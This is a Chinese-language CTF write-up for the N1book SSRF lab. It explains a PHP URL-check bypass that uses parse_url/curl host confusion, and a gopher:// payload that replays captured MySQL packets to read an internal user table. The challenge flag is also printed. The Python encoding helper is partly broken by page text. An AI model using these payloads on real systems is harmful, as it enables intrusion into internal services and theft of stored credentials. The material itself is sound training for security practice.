CTFer成长之路之SSRF漏洞

admin 2023年2月23日10:29:17评论27 views字数 6366阅读21分13秒阅读模式

SSRF漏洞CTF

SSRF Training

题目描述:

web容器中存在一个flag,mysql中存在一个管理员账号密码,其余容器中均没有特定flag

mysql容器中内置 tcpdump

vulnweb容器中内置一个 fpm.py 攻击脚本

docker-compose.yml

version: "3"
services:
web:
  image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
  depends_on:
    - redis
    - vuln
    - mysql
  ports:
    - "8233:80"

redis:
  image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest

vuln:
  image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
   
mysql:
  image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
  environment:
    - MYSQL_RANDOM_ROOT_PASSWORD=yes

启动方式

docker-compose up -d

http://localhost:8233

题目Flag

n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

Writeup

进入环境

CTFer成长之路之SSRF漏洞

点击interesting challenge

开始代码审计

<?php 
highlight_file(__FILE__);//用PHP高亮显示当前的文件
function check_inner_ip($url) //获取url的域名,将域名转为ip,然后再判断这个ip是否是私有地址
{
  $match_result=preg_match('/^(http|https)?://.*(/)?.*$/',$url);
//返回$url的匹配,值将是 0 次(不匹配)或 1
  //^从开头开始匹配
  //? 匹配0或1个正好在它之前的那个字符。注意:这个元字符不是所有的软件都支持的
  //( )标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 ( 和 )
  //.匹配除换行符 n 之外的任何单字符。要匹配 . ,请使用 .
  //*匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 *
  //$:从字符串末尾进行匹配
  if (!$match_result)
  {
      die('url fomat error');
      //如果url不符合正则表达式
  }
  try
  {
      $url_parse=parse_url($url);
      //分解出一个URL的各个部
      // $url_parse是一个数组
       
  }
  catch(Exception $e)
  {
      die('url fomat error');
      return false;
  }
  $hostname=$url_parse['host']; //hostname 为主机名,也就是域名
  $ip=gethostbyname($hostname); //通过域名获取IP地址
  $int_ip=ip2long($ip); //ip2long:将IPv4的ip地址(以小数点分隔形式)转换为int
  return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
  //判断是否是私有地址,是则这个函数就返回1
}

function safe_request_url($url)
{
   
  if (check_inner_ip($url))
  //判断url是否是私有地址
  {
      echo $url.' is inner ip';
  }
  else
  {
      $ch = curl_init(); //初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用
      curl_setopt($ch, CURLOPT_URL, $url); //访问的域名
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //
      curl_setopt($ch, CURLOPT_HEADER, 0); //
      //curl_setopt函数参数解释:https://www.cnblogs.com/lilyhomexl/p/6278921.html
      $output = curl_exec($ch); //抓取URL并把它传递给浏览器
      $result_info = curl_getinfo($ch); //php curl请求在curl_exec()函数执行之后,可以使用curl_getinfo()函数获取CURL请求输出的相关信息
      //[php curl curl_getinfo()返回参数详解](https://www.cnblogs.com/zqifa/p/php-curl-3.html)
      if ($result_info['redirect_url'])
      {
          safe_request_url($result_info['redirect_url']);
      }
      curl_close($ch); // 关闭cURL资源,并且释放系统资源
      var_dump($output); //执行
  }
   
}

$url = $_GET['url'];
if(!empty($url)){
  safe_request_url($url);
}

parse_url:

代码:

<?php $url = 'http://username:password@hostname/path?arg=value@anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

结果:

CTFer成长之路之SSRF漏洞

curl_getinfo

代码:

<?php
$url = 'http://a:@127.0.0.1:[email protected]/flag.php';
//print_r(parse_url($url));
$ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
print_r(curl_getinfo($ch));        
?>

结果:

CTFer成长之路之SSRF漏洞

payload:

http://192.168.10.24:8233/challenge.php?url=http://a:@127.0.0.1:[email protected]/flag.php

传入的URL为http://a:@127.0.0.1:[email protected],那么进入 safe_request_url检测之后 parse_url取到的host是baidu.com

代码:

<?php
$url = 'http://a:@127.0.0.1:[email protected]/flag.php';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);        
?>

结果:

CTFer成长之路之SSRF漏洞

而curl取到的是127.0.0.1:80,所以就实现了检测IP时候是一个正常的一个网站域名而实际curl请求的时候是构造的127.0.0.1

CTFer成长之路之SSRF漏洞

得到flag:n1book{ug9thaevi2JoobaiLiiLah4zae6fie4r}

接下来是攻击MySQL,打开2个MySQL容器,一个使用tcpdump,一个进行MySQL查询。

使用docker ps命令找到mysql容器的command id为e2c90d571d32

CTFer成长之路之SSRF漏洞

使用docker inspect e2c90d571命令查找mysql容器的pid为3602

CTFer成长之路之SSRF漏洞

使用nsenter --target 3602 -n命令进入mysql容器

CTFer成长之路之SSRF漏洞

查看mysql容器的ip

CTFer成长之路之SSRF漏洞

使用tcpdump抓取mysql容器内的包

tcpdump -i eth0 port 3306 -w /var/www/html/mysql.pcap

结果:

CTFer成长之路之SSRF漏洞

使用docker ps命令找到mysql容器的command id为e2c90d571d32

CTFer成长之路之SSRF漏洞

使用docker inspect e2c90d571d32 | grep IPAddress命令找到mysql容器的ip为172.21.0.4

CTFer成长之路之SSRF漏洞

连接mysql

mysql -h 172.21.0.4 -uweb

使用ssrf数据库

use ssrf;

查询账号密码

select * from user;

结果

CTFer成长之路之SSRF漏洞

用wireshark打开这个数据包,再随便选择一个包并单击右键,在弹出的快捷菜单中选择“追踪流 → TCP流”,过滤出客户端到服务端的数据包:

CTFer成长之路之SSRF漏洞

把它转为原始数据,再将原始数据整理为一行,并将其url编码。

这里用到的URL编码脚本如下:

def result(s):
  a=
展开收缩
for i in range(0,len(s),2)]

  return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)

if __name__=="__main__":
  s="bb00000185a69f20000000012d000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f70696404353637390f5f636c69656e745f76657273696f6e06332e302e3130095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f73740a3137322e32312e302e34210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
  print(result(s))

得到:

CTFer成长之路之SSRF漏洞

将其修改为。ip可为MySQL容器的ip或者127.0.0.1

curl gopher://172.21.0.4:3306/_%bb%00%00%01%85%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7f%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%35%36%37%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%33%2e%30%2e%31%30%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%0a%31%37%32%2e%32%31%2e%30%2e%34%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01 | cat

进行攻击,获得user表中的数据,运行结果:

CTFer成长之路之SSRF漏洞

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。


博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


原文始发于微信公众号(儒道易行):CTFer成长之路之SSRF漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月23日10:29:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFer成长之路之SSRF漏洞https://cn-sec.com/archives/1567336.html

发表评论

匿名网友 填写信息